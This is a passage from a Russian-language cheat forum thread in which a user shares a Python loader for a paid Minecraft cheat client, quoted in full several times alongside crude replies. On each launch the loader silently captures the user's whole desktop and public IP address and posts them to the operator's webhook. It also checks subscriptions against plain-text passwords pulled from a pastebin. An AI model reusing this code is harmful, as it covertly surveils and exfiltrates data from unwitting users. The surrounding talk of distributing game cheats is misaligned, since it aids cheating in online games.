            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
Почему на это гавнище поносное не вернули поп-корн а мне да, у невер вх и ак1 не все дома явно
 
Надеюсь этот ужас больше никто не будет юзать; да и на питоне делать лоадер не самая лучшая идея
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Кодер чат гапати?
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Вложения

  • Screenshot_2024-10-21-13-05-11-318_com.android.chrome-edit.jpg
    Screenshot_2024-10-21-13-05-11-318_com.android.chrome-edit.jpg
    73.8 KB · Просмотры: 88
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
братан но у тебя же конструктивно такой же лоадер.
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск
буквально у тебя даже на секунду не появится окошко майна, все эти проверки происходят то запуска игры, а так же при заходе на любой сервер
 
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск

буквально у тебя даже на секунду не появится окошко майна, все эти проверки происходят то запуска игры, а так же при заходе на любой сервер
под хайд дай лоадер свой
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Последнее редактирование:
def sub(username, password):
response = requests.get("сюда ссылку на паст бин с прем-юзерами")
# такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
# если стоит / после *, подписка будет бесконечной
for line in response.text.splitlines():
if line.startswith(f"{username}:{password}"):
return line.split('*')[1].strip()
return None
[/CODE]
понял.
 
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
Expand Collapse Copy
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
а нахуя, это нужно вообще кому-нибудь?
 
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
Expand Collapse Copy
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
типа из нурика screen_saver()?
 
Назад
Сверху Снизу